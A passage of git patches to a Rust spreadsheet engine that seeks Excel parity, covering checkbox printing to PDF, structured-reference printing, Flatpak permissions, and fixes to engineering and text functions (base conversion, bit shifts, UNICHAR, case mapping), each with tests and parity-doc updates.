and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 3de6cb1a3d77dc1d1621a76dc5c6cf3efd5d27d1 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 16:09:50 -0500 Subject: [PATCH 072/298] gc-fix-2657: tighten PERCENTRANK boundary tolerance --- crates/functions/src/stat/tests.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 454f3a8bf..7d3a52e9b 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -225,7 +225,7 @@ fn percentiles() { for sig in [15.0, 16.0, 308.0] { close_tol(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(sig)]), 0.187_242_798_166_667, 1e-16); } - close(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66); + close_tol(ev("PERCENTRANK.INC", vec![k.clone(), n(2.123_456_789), n(14.0)]), 0.187_242_798_166_66, 1e-15); close(ev("PERCENTRANK.EXC", vec![k, n(2.123_456_789), n(16.0)]), 0.265_432_098_625); } From 8f93ba2e9c9de31d2fc6e5da75ea7e88beb9dfea Mon Sep 17 00:00:00 2001 From: Michael Hatz Date: Fri, 30 Oct 2026 23:14:20 +0100 Subject: [PATCH 073/298] Print checkbox cells as boxes, not TRUE/FALSE (#2972) A checkbox cell drew a box on screen but printed and exported to PDF its value as TRUE or FALSE. The print path now draws the box as the grid does: white with a grey outline when unchecked, green with a white tick when checked. Other values in a checkbox cell still print as text. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/print/draw.rs | 38 ++++++++++++++++++++++++++-- crates/engine/src/cmd/print/tests.rs | 15 +++++++++++ docs/ui-parity.md | 3 ++- 3 files changed, 53 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/print/draw.rs b/crates/engine/src/cmd/print/draw.rs index d90335390..7a49b8e85 100644 --- a/crates/engine/src/cmd/print/draw.rs +++ b/crates/engine/src/cmd/print/draw.rs @@ -2,8 +2,8 @@ use super::layout::{DENSE_BLOCK, SheetLayout}; use super::objects::draw_cell_picture; use super::text::{TextPlacement, draw_text}; use super::{ - BorderLine, BorderStyle, Borders, CellRef, Color, Font, Page, PatternType, Point, RangeRef, Rgb, Sheet, Style, StyleId, Underline, Workbook, - split_sheet, + BorderLine, BorderStyle, Borders, CellRef, Color, Font, Page, PatternType, Point, RangeRef, Rgb, Sheet, Style, StyleId, Underline, Value, + Workbook, split_sheet, }; // ---------------------------------------------------------------- drawing @@ -280,6 +280,7 @@ pub(super) fn draw_block(pg: &mut Page, b: &Block, gridlines: bool, cf: &mut Opt || merges.iter().any(|m| m.start == *c) || !sh.value(*c).is_empty() || l.style.borders != Borders::default() + || l.style.num_fmt.as_str() == "checkbox" }) .collect(); let rect_of = |c: CellRef| -> (f32, f32, f32, f32, bool) { @@ -343,6 +344,8 @@ pub(super) fn draw_block(pg: &mut Page, b: &Block, gridlines: bool, cf: &mut Opt } if let Some(picture) = sh.cell_pictures.get(c) { draw_cell_picture(pg, &picture.data, (x, y, w, h), b.k); + } else if let Some(on) = checkbox_state(l, &sh.value(*c)) { + draw_checkbox(pg, (x, y, w, h), b.k, on); } else { draw_text(pg, b, TextPlacement { cell: *c, look: l, rect: (x, y, w, h), merged, merges: &merges, limits: (bx, bx + bw) }); } @@ -350,6 +353,37 @@ pub(super) fn draw_block(pg: &mut Page, b: &Block, gridlines: bool, cf: &mut Opt pg.restore(); } +/// A checkbox cell prints TRUE/FALSE (and empty) as a box, as on screen (#2972); other values +/// print as text. +fn checkbox_state(l: &Look, v: &Value) -> Option { + if l.style.num_fmt.as_str() != "checkbox" || l.cf.as_ref().is_some_and(|cf| cf.hide_value) { + return None; + } + match v { + Value::Bool(on) => Some(*on), + Value::Empty => Some(false), + _ => None, + } +} + +/// A checkbox centred in the cell: white with a grey outline, or green with a white tick. +fn draw_checkbox(pg: &mut Page, (x, y, w, h): (f32, f32, f32, f32), k: f32, on: bool) { + let s = (13.2 * k).min(w - 2.0 * k).min(h - 2.0 * k); + if s <= 0.0 { + return; + } + let (bx, by) = (x + (w - s) / 2.0, y + (h - s) / 2.0); + let corners = [[bx, by], [bx + s, by], [bx + s, by + s], [bx, by + s]]; + if on { + let green = [0x10, 0x7C, 0x41]; + pg.polygon(&corners, Some(green), Some((green, 0.75 * k))); + let tick = [[bx + 0.22 * s, by + 0.52 * s], [bx + 0.42 * s, by + 0.72 * s], [bx + 0.78 * s, by + 0.30 * s]]; + pg.polyline(&tick, 0.14 * s, [0xFF, 0xFF, 0xFF], &[]); + } else { + pg.polygon(&corners, Some([0xFF, 0xFF, 0xFF]), Some(([110, 110, 110], 0.75 * k))); + } +} + pub(super) struct PendingPdfLink { pub(super) page: usize, pub(super) sheet: usize, diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index 21b13338f..d678d441a 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -565,3 +565,18 @@ fn rotated_wrapped_text_prints_rotated() { assert_eq!(up + down, blocks.len(), "a header line printed flat: {blocks:?}"); assert!((1..=3).contains(&up) && (1..=3).contains(&down), "up {up}, down {down}: {blocks:?}"); } + +#[test] +fn checkbox_cells_print_as_boxes_not_true_false() { + // #2972: a checkbox cell printed its value as TRUE or FALSE. + let mut s = s(); + s.execute("insert.checkbox", json!({"range": "A1:A2"})).unwrap(); + s.execute("cell.toggleCheckbox", json!({"cell": "A2"})).unwrap(); + s.execute("cell.set", json!({"cell": "C1", "input": "TRUE"})).unwrap(); + let (pdf, _) = pdf_of(&mut s, json!({})); + assert!(!contains(&pdf, "(FALSE) Tj"), "the unchecked box printed as FALSE"); + // Only the plain TRUE in C1 prints as text; the checked box is a filled box. + let text = String::from_utf8_lossy(&pdf); + assert_eq!(text.matches("(TRUE) Tj").count(), 1, "the checked box printed as TRUE"); + assert!(contains(&pdf, "0.063 0.486 0.255 rg"), "the checked box is not filled"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index b5f6d591a..0e1a98f47 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-29 · **Change:** minor (Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-10-30 · **Change:** minor (checkbox cells print as boxes; earlier: Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; earlier: editing a hyperlink loads its existing fields; earlier: AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -194,6 +194,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-10-30 | minor | Checkbox cells print and export to PDF as boxes, as on screen: unchecked white with a grey outline, checked green with a white tick (#2972). They printed their value as TRUE or FALSE; other values in a checkbox cell still print as text | | 2026-10-29 | minor | Formula pointing from the keyboard: Ctrl+arrow (⌘arrow) moves the pointed cell to the edge of its data and Ctrl+Shift+arrow (⌘⇧arrow) extends the pointed range there, as the same keys move and extend the selection, so typing `=COUNTIF(`, clicking the top of a column and pressing ⌘⇧↓ points at the whole column of data; the keys used to move or extend by one cell. A range reaching the sheet edge is written as whole columns or rows (`A:B`). The editor reads the modifiers of the arrow's own key event, so a keystroke pressed and released within one frame (a control client's `ui.key`, an automation tool) keeps its Shift and Ctrl | | 2026-10-29 | minor | Insert Hyperlink opens with an existing link's address, display text and ScreenTip (#2876). An address-only edit preserves the cell's content and formula; Cancel leaves the link unchanged, and Undo restores the edit | | 2026-10-27 | minor | Ctrl with the numpad's + inserts rows, columns or cells as Ctrl+Shift+= does, as in Excel; it did nothing because the numpad key arrives without Shift | From 59a8b14d4dac6f005acfe722d5c4632986b9342d Mon Sep 17 00:00:00 2001 From: NetterSilver <133535268+Silvertree2010@users.noreply.github.com> Date: Fri, 30 Oct 2026 22:26:49 +0000 Subject: [PATCH 074/298] Print structured refs to columns starting with @ in double brackets Found while testing crates/formula/src/printer.rs:164 (write_struct_ref, single column without specifiers) Co-Authored-By: Claude Haiku 5.5 Co-Authored-By: Claude Sonnet 5.5 --- crates/formula/src/printer.rs | 4 ++-- crates/formula/src/tests.rs | 9 +++++++++ 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/crates/formula/src/printer.rs b/crates/formula/src/printer.rs index 3b5989372..bddbfebf2 100644 --- a/crates/formula/src/printer.rs +++ b/crates/formula/src/printer.rs @@ -175,8 +175,8 @@ fn write_struct_ref(s: &StructRef, at_shorthand: bool) -> String { let _ = write!(out, "[{}]", s.specifiers.first().map(item).unwrap_or("")); } (Some(c), None) if s.specifiers.is_empty() => { - // Excel writes a name with spaces at its edges in the double-bracket form. - if c.trim() == c { + // Names with spaces at their edges, or starting with `@` (this-row shorthand), use the double-bracket form. + if c.trim() == c && !c.starts_with('@') { let _ = write!(out, "[{}]", esc(c)); } else { let _ = write!(out, "[[{}]]", esc(c)); diff --git a/crates/formula/src/tests.rs b/crates/formula/src/tests.rs index 0fdc9ca38..8b8215455 100644 --- a/crates/formula/src/tests.rs +++ b/crates/formula/src/tests.rs @@ -558,3 +558,12 @@ fn reference_shapes_print_unchanged() -> Result<(), Box> } Ok(()) } + +#[test] +fn column_starting_with_at_round_trips() { + for name in ["@a", "a@b"] { + let s = StructRef { table: "T".into(), specifiers: vec![], col_start: Some(name.into()), col_end: None }; + let text = format!("={}", printer::struct_ref(&s)); + assert_eq!(parse(&text).ok(), Some(Expr::Struct(s)), "printed as {text}"); + } +} From 8cf842574500103aef85c998aa8275c8116b89e5 Mon Sep 17 00:00:00 2001 From: Michael Hatz Date: Fri, 30 Oct 2026 23:52:22 +0100 Subject: [PATCH 075/298] Print checkbox test: check that the unchecked box is outlined Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/print/tests.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/engine/src/cmd/print/tests.rs b/crates/engine/src/cmd/print/tests.rs index d678d441a..51760c4a6 100644 --- a/crates/engine/src/cmd/print/tests.rs +++ b/crates/engine/src/cmd/print/tests.rs @@ -579,4 +579,5 @@ fn checkbox_cells_print_as_boxes_not_true_false() { let text = String::from_utf8_lossy(&pdf); assert_eq!(text.matches("(TRUE) Tj").count(), 1, "the checked box printed as TRUE"); assert!(contains(&pdf, "0.063 0.486 0.255 rg"), "the checked box is not filled"); + assert!(contains(&pdf, "0.431 0.431 0.431 RG"), "the unchecked box is not outlined"); } From 1f4c67ef0a0200e48d832c7cbbb5570b743b7837 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Fri, 30 Oct 2026 20:12:32 -0400 Subject: [PATCH 076/298] fix(flatpak): allow reading launcher version pins (#2985) * fix(flatpak): allow reading launcher version pins * fix(flatpak): allow reading launcher version pins --- packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml | 1 + packaging/linux/flatpak/ai.storyteller.gridcraft.yml | 1 + 2 files changed, 2 insertions(+) diff --git a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml index 913ac159e..a3fb2669e 100644 --- a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml +++ b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml @@ -17,6 +17,7 @@ runtime-version: '25.08' sdk: org.freedesktop.Sdk command: gridcraft finish-args: + - --filesystem=xdg-data/ArtCraft/versions:ro # Display: Wayland first; X11 only when no Wayland compositor is running. - --socket=wayland - --socket=fallback-x11 diff --git a/packaging/linux/flatpak/ai.storyteller.gridcraft.yml b/packaging/linux/flatpak/ai.storyteller.gridcraft.yml index 4fcd1a1a4..e493d4855 100644 --- a/packaging/linux/flatpak/ai.storyteller.gridcraft.yml +++ b/packaging/linux/flatpak/ai.storyteller.gridcraft.yml @@ -18,6 +18,7 @@ sdk-extensions: - org.freedesktop.Sdk.Extension.rust-stable command: gridcraft finish-args: + - --filesystem=xdg-data/ArtCraft/versions:ro # Display: Wayland first; X11 only when no Wayland compositor is running. - --socket=wayland - --socket=fallback-x11 From c895acf1f7a16f403721ba3e05fabd6b54f741ed Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:22:39 -0500 Subject: [PATCH 077/298] Fix base conversion whitespace validation --- crates/functions/src/engineering.rs | 17 ++++++++++++++++- docs/function-parity.md | 4 +++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index ed2572f90..8143c0146 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -25,7 +25,7 @@ fn base_source(a: &[Arg]) -> R { Ok(number_to_text(n)) } Value::Empty => Ok(String::new()), - v => Ok(v.to_text()?.trim().to_string()), + v => Ok(v.to_text()?.to_string()), } } @@ -411,6 +411,21 @@ mod tests { is_text(ev("OCT2HEX", vec![n(100.0), n(4.0)]), "0040"); is_text(ev("OCT2HEX", vec![n(7777777533.0)]), "FFFFFFFF5B"); is_err(ev("BIN2DEC", vec![n(102.0)]), CellError::Num); + for (f, input) in [ + ("BIN2DEC", " 10"), + ("BIN2DEC", "10 "), + ("BIN2DEC", "\t10"), + ("BIN2HEX", " 10"), + ("BIN2OCT", "10 "), + ("HEX2DEC", " 10"), + ("HEX2BIN", "10 "), + ("HEX2OCT", "\t10"), + ("OCT2DEC", " 10"), + ("OCT2BIN", "10 "), + ("OCT2HEX", "\t10"), + ] { + is_err(ev(f, vec![t(input)]), CellError::Num); + } is_err(ev("HEX2DEC", vec![t("GG")]), CellError::Num); is_err(ev("BIN2DEC", vec![t("11111111111")]), CellError::Num); is_err(ev("DEC2BIN", vec![t("abc")]), CellError::Value); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..12b8eb790 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (base conversion rejects surrounding whitespace in source strings, as observed in Excel) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -29,6 +29,8 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage +| 2026-10-31 | minor | BIN2*, HEX2* and OCT2* reject surrounding spaces and tabs in source strings with `#NUM!`, matching Excel; plain unpadded values remain valid | + **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | From 52d317c8ffff9fcac9b2a48e6353aa3b87cb4518 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:23:51 -0500 Subject: [PATCH 078/298] Validate places for negative base conversions --- crates/functions/src/engineering.rs | 28 ++++++++++++++++++++++------ docs/function-parity.md | 4 +++- 2 files changed, 25 insertions(+), 7 deletions(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index dbe6734d3..d00966671 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -62,6 +62,15 @@ fn format_base(v: i64, radix: u32, places: Option) -> R { if v < min || v > max { return Err(CellError::Num); } + let places = places + .map(|p| { + let p = p.trunc(); + if !(1.0..=10.0).contains(&p) { + return Err(CellError::Num); + } + Ok(p as usize) + }) + .transpose()?; if v < 0 { let u = v + (1i64 << bits); return text_val(to_radix(u, radix)); @@ -70,11 +79,6 @@ fn format_base(v: i64, radix: u32, places: Option) -> R { match places { None => text_val(s), Some(p) => { - let p = p.trunc(); - if !(1.0..=10.0).contains(&p) { - return Err(CellError::Num); - } - let p = p as usize; if s.len() > p { return Err(CellError::Num); } @@ -97,7 +101,13 @@ fn to_radix(mut v: i64, radix: u32) -> String { } fn places_arg(a: &[Arg]) -> R> { - if has(a, 1) { Ok(Some(num(a, 1)?)) } else { Ok(None) } + if !has(a, 1) { + return Ok(None); + } + if matches!(a.get(1).map(scalar), Some(Value::Bool(_))) { + return Err(CellError::Value); + } + Ok(Some(num(a, 1)?)) } fn convert_base(a: &[Arg], from: u32, to: u32) -> R { @@ -402,6 +412,12 @@ mod tests { is_text(ev("BIN2OCT", vec![n(1111111111.0)]), "7777777777"); is_text(ev("DEC2BIN", vec![n(9.0), n(4.0)]), "1001"); is_text(ev("DEC2BIN", vec![n(-100.0)]), "1110011100"); + is_err(ev("DEC2BIN", vec![n(-1.0), n(0.0)]), CellError::Num); + is_err(ev("DEC2HEX", vec![n(-1.0), n(11.0)]), CellError::Num); + is_err(ev("DEC2OCT", vec![n(-1.0), n(-1.0)]), CellError::Num); + is_err(ev("DEC2BIN", vec![n(1.0), crate::Arg::val(Value::Bool(true))]), CellError::Value); + is_text(ev("DEC2BIN", vec![n(-1.0), n(1.0)]), "1111111111"); + is_text(ev("DEC2HEX", vec![n(-1.0), n(10.0)]), "FFFFFFFFFF"); is_err(ev("DEC2BIN", vec![n(512.0)]), CellError::Num); is_text(ev("DEC2HEX", vec![n(100.0), n(4.0)]), "0064"); is_text(ev("DEC2HEX", vec![n(-54.0)]), "FFFFFFFFCA"); diff --git a/docs/function-parity.md b/docs/function-parity.md index d9823e8bf..e23a196fa 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-27 · **Change:** minor (ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals, and the other IM* differences from Excel are listed; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (base-conversion places are validated for negative inputs and reject Boolean arguments, as observed in Excel; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; IMSQRT reproduces Excel's stray real part for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -29,6 +29,8 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage +| 2026-10-31 | minor | DEC2BIN, DEC2HEX and DEC2OCT validate `places` before returning negative two's-complement output, and Boolean places return `#VALUE!`, matching Excel | + **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | From 9fccec28af850e03aa49dc31b9ba1e040ee7f09a Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:24:22 -0500 Subject: [PATCH 079/298] Handle zero-valued oversized bit shifts --- crates/functions/src/engineering.rs | 11 +++++++++++ docs/function-parity.md | 4 +++- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index dbe6734d3..a02196f41 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -175,6 +175,9 @@ fn bitxor(a: &[Arg], _c: &mut dyn Ctx) -> R { fn shift(a: &[Arg], left: bool) -> R { let n = bit_operand(a, 0)?; let s = num(a, 1)?.trunc(); + if n == 0 { + return Ok(Value::Number(0.0)); + } if s.abs() > 53.0 { return Err(CellError::Num); } @@ -446,6 +449,14 @@ mod tests { is_err(ev("BITAND", vec![n(1.5), n(5.0)]), CellError::Num); is_err(ev("BITLSHIFT", vec![n(1.0), n(54.0)]), CellError::Num); is_err(ev("BITLSHIFT", vec![n(2f64.powi(47)), n(1.0)]), CellError::Num); + for f in ["BITLSHIFT", "BITRSHIFT"] { + for shift in [-100.0, -54.0, 54.0, 100.0] { + close(ev(f, vec![n(0.0), n(shift)]), 0.0); + } + is_err(ev(f, vec![n(1.0), n(54.0)]), CellError::Num); + } + is_err(ev("BITLSHIFT", vec![n(0.0), t("bad")]), CellError::Value); + is_err(ev("BITRSHIFT", vec![n(-1.0), n(100.0)]), CellError::Num); } #[test] diff --git a/docs/function-parity.md b/docs/function-parity.md index d9823e8bf..02d8fe609 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-27 · **Change:** minor (ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals, and the other IM* differences from Excel are listed; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (BITLSHIFT and BITRSHIFT return zero for zero operands with shifts beyond 53 bits, as observed in Excel; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; IMSQRT reproduces Excel's stray real part for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -29,6 +29,8 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage +| 2026-10-31 | minor | BITLSHIFT and BITRSHIFT return `0` for zero operands shifted beyond 53 bits in either direction; nonzero operands retain the `#NUM!` limit, matching Excel | + **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | From 4d725e6bc14c7fe1b4473a9314ec2049afb9692d Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:24:46 -0500 Subject: [PATCH 080/298] Reject Unicode noncharacters in UNICHAR --- crates/functions/src/text.rs | 13 ++++++++++++- docs/function-parity.md | 4 +++- 2 files changed, 15 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..0993141be 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -281,7 +281,11 @@ fn unichar(a: &[Arg], _c: &mut dyn Ctx) -> R { if !(1.0..=1_114_111.0).contains(&n) { return Err(CellError::Value); } - match char::from_u32(n as u32) { + let cp = n as u32; + if (0xFDD0..=0xFDEF).contains(&cp) || cp & 0xFFFE == 0xFFFE { + return Err(CellError::NA); + } + match char::from_u32(cp) { Some(c) => text_val(c.to_string()), None => Err(CellError::NA), } @@ -1181,8 +1185,15 @@ mod tests { close(ev("CODE", vec![t("€")]), 128.0); is_err(ev("CODE", vec![t("")]), CellError::Value); is_text(ev("UNICHAR", vec![n(9731.0)]), "☃"); + for cp in [0xFDD0, 0xFDEF, 0xFFFE, 0xFFFF, 0x1FFFE, 0x1FFFF, 0x10FFFE, 0x10FFFF] { + is_err(ev("UNICHAR", vec![n(f64::from(cp))]), CellError::NA); + } + for cp in [0xFDCF, 0xFDF0, 0xFFFD, 0x1FFFD] { + assert!(matches!(ev("UNICHAR", vec![n(f64::from(cp))]), Value::Text(_))); + } close(ev("UNICODE", vec![t("☃")]), 9731.0); is_err(ev("UNICHAR", vec![n(0.0)]), CellError::Value); + is_err(ev("UNICHAR", vec![n(1_114_112.0)]), CellError::Value); is_err(ev("UNICHAR", vec![n(55296.0)]), CellError::NA); } diff --git a/docs/function-parity.md b/docs/function-parity.md index d9823e8bf..de70ab192 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-27 · **Change:** minor (ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; earlier: IMSQRT reproduces the stray real part Excel gives for negative reals, and the other IM* differences from Excel are listed; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (UNICHAR returns `#N/A` for Unicode noncharacters, as observed in Excel; earlier: ECMA.CEILING listed with USDOLLAR as not on Microsoft's list; IMSQRT reproduces Excel's stray real part for negative reals) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -29,6 +29,8 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage +| 2026-10-31 | minor | UNICHAR returns `#N/A` for U+FDD0–U+FDEF and U+FFFE/U+FFFF on every plane; adjacent valid characters and existing invalid-range/surrogate errors remain unchanged, matching Excel | + **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | From dc75555ee9bcef06c011628adb6715c0fef9e15b Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:30:32 -0500 Subject: [PATCH 081/298] G705: match Excel single-character casing --- crates/functions/src/text.rs | 37 ++++++++++++++++++++++++++++++++---- docs/function-parity.md | 3 ++- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..a7b82b10a 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -111,12 +111,27 @@ fn len(a: &[Arg], _c: &mut dyn Ctx) -> R { num_val(text(a, 0)?.chars().count() as f64) } +fn lower_char(ch: char) -> char { + match ch.to_lowercase().next() { + Some(lower) => lower, + None => ch, + } +} + +fn upper_char(ch: char) -> char { + let mut uppercase = ch.to_uppercase(); + match uppercase.next() { + Some(upper) if uppercase.next().is_none() => upper, + _ => ch, + } +} + fn lower(a: &[Arg], _c: &mut dyn Ctx) -> R { - text_val(text(a, 0)?.to_lowercase()) + text_val(text(a, 0)?.chars().map(lower_char).collect()) } fn upper(a: &[Arg], _c: &mut dyn Ctx) -> R { - text_val(text(a, 0)?.to_uppercase()) + text_val(text(a, 0)?.chars().map(upper_char).collect()) } fn proper(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -126,9 +141,9 @@ fn proper(a: &[Arg], _c: &mut dyn Ctx) -> R { for ch in s.chars() { if ch.is_alphabetic() { if prev_letter { - out.extend(ch.to_lowercase()); + out.push(lower_char(ch)); } else { - out.extend(ch.to_uppercase()); + out.push(upper_char(ch)); } prev_letter = true; } else { @@ -1123,6 +1138,20 @@ mod tests { fn case_and_cleanup() { is_text(ev("UPPER", vec![t("abc")]), "ABC"); is_text(ev("LOWER", vec![t("ABC")]), "abc"); + is_text(ev("UPPER", vec![t("Straße")]), "STRAßE"); + is_text(ev("LOWER", vec![t("İ")]), "i"); + is_text(ev("PROPER", vec![t("İSTANBUL")]), "Istanbul"); + is_text(ev("PROPER", vec![t("ß")]), "ß"); + is_text(ev("PROPER", vec![t("ÉCOLE")]), "École"); + let proper = ev("PROPER", vec![t("İSTANBUL Straße")]); + is_text(proper.clone(), "Istanbul Straße"); + assert_eq!( + match proper { + Value::Text(s) => s.chars().count(), + _ => 0, + }, + "Istanbul Straße".chars().count() + ); is_text(ev("PROPER", vec![t("this is a TITLE")]), "This Is A Title"); is_text(ev("PROPER", vec![t("2-way street's")]), "2-Way Street'S"); 